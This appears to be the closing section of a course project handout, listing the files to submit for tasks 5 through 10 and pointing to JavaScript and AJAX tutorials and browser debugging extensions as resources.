- `task5.html`
- `task6.html`
- `task7.txt`
- `task8.txt`
- `task9/<ID 1>.txt`
- `task9/<ID 2>.txt`
- `task9/<ID 3>.txt`
- (Optional): `task10/<ID 1>` (and so on)

Note: Only the latest submission counts.

Resources

None of these are strictly necessary reading for the project, but if you get stuck (or are interested in learning more), then here are some fine pointers:

- Javascript Tutorial: `http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial`
- The `LiveHTTPHeaders` Firefox extension: `http://livehttpheaders.mozdev.org/`
- `TheFirebugExtension`: `http://getfirebug.com/downloads/`
- `AJAX POST-It Notes` `http://www.hunlock.com/blogs/AJAX_POST-It_Notes/`
- `AJAX for n00bs` `http://www.hunlock.com/blogs/AJAX_for_n00bs`
- `The Complete Javascript Strings Reference` `http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference`

References

[1] AJAX for n00bs. Available at the following URL:
`http://www.hunlock.com/blogs/AJAX_for_n00bs`.

[2] AJAX POST-It Notes. Available at the following URL:
`http://www.hunlock.com/blogs/AJAX_POST-It_Notes`.

[3] Essential Javascript – A Javascript Tutorial. Available at the following URL:
`http://www.hunlock.com/blogs/Essential_Javascript_--_A_Javascript_Tutorial`.

[4] The Complete Javascript Strings Reference. Available at the following URL:
`http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference`.